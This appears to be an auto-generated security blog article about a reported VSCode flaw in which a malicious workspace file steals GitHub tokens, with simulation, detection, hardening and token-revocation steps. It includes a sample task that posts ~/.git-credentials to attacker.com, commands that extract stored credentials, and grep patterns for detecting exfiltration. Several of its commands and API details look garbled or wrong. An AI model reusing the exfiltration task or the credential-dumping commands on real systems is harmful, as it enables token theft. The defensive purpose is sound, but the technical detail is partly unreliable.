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Introduction:
A newly disclosed vulnerability in Visual Studio Code (VSCode) allows attackers to steal GitHub authentication tokens with a single click, simply by tricking a developer into opening a malicious repository. The bug, detailed in a recent analysis (blog.ammaraskar.com), exploits how VSCode handles workspace settings and credential exposure, turning trusted development environments into token-draining backdoors. This article breaks down the attack mechanics, provides verified commands for detection and mitigation across Linux and Windows, and outlines defensive strategies to protect your GitHub tokens from this “1‑click” threat.
Learning Objectives:
– Understand how a malicious `.code-workspace` file can exfiltrate GitHub tokens via VSCode’s credential helpers.
– Learn to simulate the attack for red‑team testing and forensic analysis.
– Implement cross‑platform hardening measures, including policy overrides and token revocation commands.
You Should Know
1. Anatomy of the Attack: Malicious Workspace Settings
The vulnerability leverages VSCode’s “Workspace Trust” feature and the `git` credential storage. An attacker creates a repository containing a `.code-workspace` file that:
– Disables workspace trust prompts.
– Overrides `git` configuration to dump credentials using `git config –global –get credential.helper`.
– Executes a background task that reads `~/.git-credentials` or the system credential manager and sends tokens to a remote server.
Step‑by‑step guide to understanding the exploit:
1. Attacker hosts a repo with a `.code-workspace` file containing:
"settings": {
"git.autofetch": true,
"workbench.startupEditor": "none"
},
"tasks": {
"version": "2.0.0",
"tasks": [{
"label": "sync",
"command": "curl -X POST https://attacker.com/exfil -d @$HOME/.git-credentials"
}]
}
2. Victim clicks “Open Workspace” – VSCode executes the task silently if trust is bypassed.
3. On Linux/macOS, token is extracted from `~/.git-credentials` or via:
printf "protocol=https\nhost=github.com\n" | git credential fill
4. On Windows, token is retrieved from Credential Manager:
cmdkey /list | findstr "github" Extract with PowerShell: [System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR((Get-Credential).Password))
How to use this for defense: Audit all `.code-workspace` files before opening, and enforce manual trust prompts.
2. Simulating the Attack for Red‑Team Testing
To safely test your environment’s exposure, use a controlled lab with a dummy GitHub token.
Step‑by‑step simulation (Linux / Windows):
1. Create a test token on GitHub (Settings → Developer settings → Personal access tokens → generate with `repo` scope).
2. Store it locally:
Linux/macOS echo "https://[email protected]" >> ~/.git-credentials git config --global credential.helper store
Windows (cmd as admin) cmdkey /generic:github.com /user:dummy-token /pass:ghp_YourTestToken
3. Clone the malicious workspace example:
git clone https://github.com/attacker/test-bug-workspace code test-bug-workspace/test.code-workspace
4. Monitor outbound traffic:
sudo tcpdump -i lo0 port 443 -A | grep "POST /exfil"
(Windows: use `netsh trace start capture=yes` + WireShark)
The simulation reveals that any task or extension can read the credential store without user interaction if trust is auto‑granted.
3. Detection & Forensics: Finding Compromised Tokens
After a potential breach, check for unauthorized GitHub activity.
Linux/macOS commands to audit credential exposure:
List all stored GitHub credentials git config --global --get-regexp credential | grep github Check for unexpected outgoing connections to attacker IPs grep "attacker.com" ~/.vscode/extensions//logs/ 2>/dev/null lsof -i :443 | grep code
Windows PowerShell detection:
Review VSCode task history Get-ChildItem "$env:APPDATA\Code\logs\" -Recurse | Select-String "curl.exfil" List credential manager entries vaultcmd /listcreds:"Windows Credentials" | findstr github
Key indicator: Anomalous `git push` or `git clone` events from unexpected locations. Check GitHub’s security log under Settings → Security → Security log.
4. Mitigation: Hardening VSCode Against Token Theft
Apply these settings to block the 1‑click attack vector.
Step‑by‑step hardening for individual developers:
1. Set workspace trust to “prompt always” (default is unsafe):
– Open VSCode Settings (`Ctrl+,`), search `security.workspace.trust.enabled` → ensure `true`.
– Set `security.workspace.trust.startupPrompt` to `always`.
2. Disable automatic task execution:
"tasks.autoDetect": "off", "workbench.settings.enableNaturalLanguageSearch": false
3. Restrict credential helper:
git config --global credential.helper 'cache --timeout=60' Tokens expire after 1 min
Windows: Use `wincred` but disable via `git config –global credential.helper “”` then rely on GitHub CLI `gh auth`.
Enterprise group policy (Windows / macOS):
– Deploy `settings.json` via `%APPDATA%\Code\User\settings.json` with:
"security.workspace.trust.enabled": true, "extensions.autoCheckUpdates": false
– Use Intune or JAMF to block write access to `.code-workspace` files in shared repositories.
5. Token Revocation and Rotation Commands
If you suspect exposure, revoke all tokens immediately.
Using GitHub CLI (`gh`):
gh auth logout gh auth token --show-token Identify active token gh auth refresh -h github.com -s repo Rotate token
Manual revocation via API (Linux/Windows PowerShell):
curl -L -H "Authorization: token YOUR_CURRENT_TOKEN" \ -X DELETE https://api.github.com/user/personal-access-tokens/TOKEN_ID
To list all token IDs:
curl -L -H "Authorization: token YOUR_CURRENT_TOKEN" \ https://api.github.com/user/personal-access-tokens
Windows credential purge:
Remove all GitHub credentials cmdkey /delete:git:https://github.com Or clear Windows Credential Manager for GitHub rundll32.exe keymgr.dll,KRShowKeyMgr
6. Defending Against Supply Chain Poisoning
The bug also enables token theft from CI/CD pipelines where VSCode is used inside dev containers. Attackers can inject malicious `.devcontainer/devcontainer.json` or `postCreateCommand`.
Step‑by‑step pipeline hardening:
1. Use read‑only tokens in CI:
GitHub Actions example
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} Auto‑revoked after job
2. Run static analysis on all workspaces before opening:
grep -rE "git.credential|curl.exfil|wget.token" .code-workspace .vscode/
3. Enforce signed commits and workspace validation with `pre-commit` hooks:
.pre-commit-config.yaml - repo: local hooks: - id: check-vscode-tasks name: Check for malicious tasks entry: bash -c 'grep -q "POST\|exfil\|curl" .code-workspace && exit 1' language: system
What Undercode Say
– Key Takeaway 1: The VSCode bug is not a traditional code execution vulnerability but a configuration failure – trusting workspaces by default undoes decades of credential isolation.
– Key Takeaway 2: Most developers never review `.code-workspace` files; the attack surface is enormous, with over 15 million VSCode users potentially exposed.
Analysis: This flaw highlights a systemic issue in modern IDEs: convenience features (auto‑fetch, background tasks) directly conflict with security boundaries. Unlike browser‑based token theft, this vector bypasses OAuth confirmation because the token is already present on disk. The absence of mandatory code review for workspace configurations means that even experienced developers are one click away from full GitHub repository compromise. Attackers can easily chain this with typosquatting (e.g., `react-package-ubl` vs `react-package-util`) or Discord-based “try my cool new script” lures. Mitigation requires both technical controls (disabling auto‑trust, credential timeouts) and behavioral changes (inspecting workspace files before opening).
Prediction
– -1 Short‑term (3 months): Phishing campaigns will adopt “AI‑powered coding assistant” repositories containing malicious `.code-workspace` files, leading to a wave of GitHub token theft and private repo exfiltration.
– -1 Medium‑term (6–12 months): Microsoft will backport a forced‑trust prompt to all VSCode versions, but legacy installations and enterprise‑pinned builds will remain vulnerable, creating long‑tail risk.
– -P Long‑term (18+ months): The incident will accelerate adoption of ephemeral developer environments (e.g., GitHub Codespaces with tokenless OIDC) and hardware‑bound tokens (e.g., YubiKey for `git commit`), effectively eliminating local credential storage.
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Reported By: [Daniel Scheidt](https://www.linkedin.com/posts/daniel-scheidt-1421281aa_httpslnkdindqkibb83-share-7467861519750533120-qw78/) – Hackers Feeds
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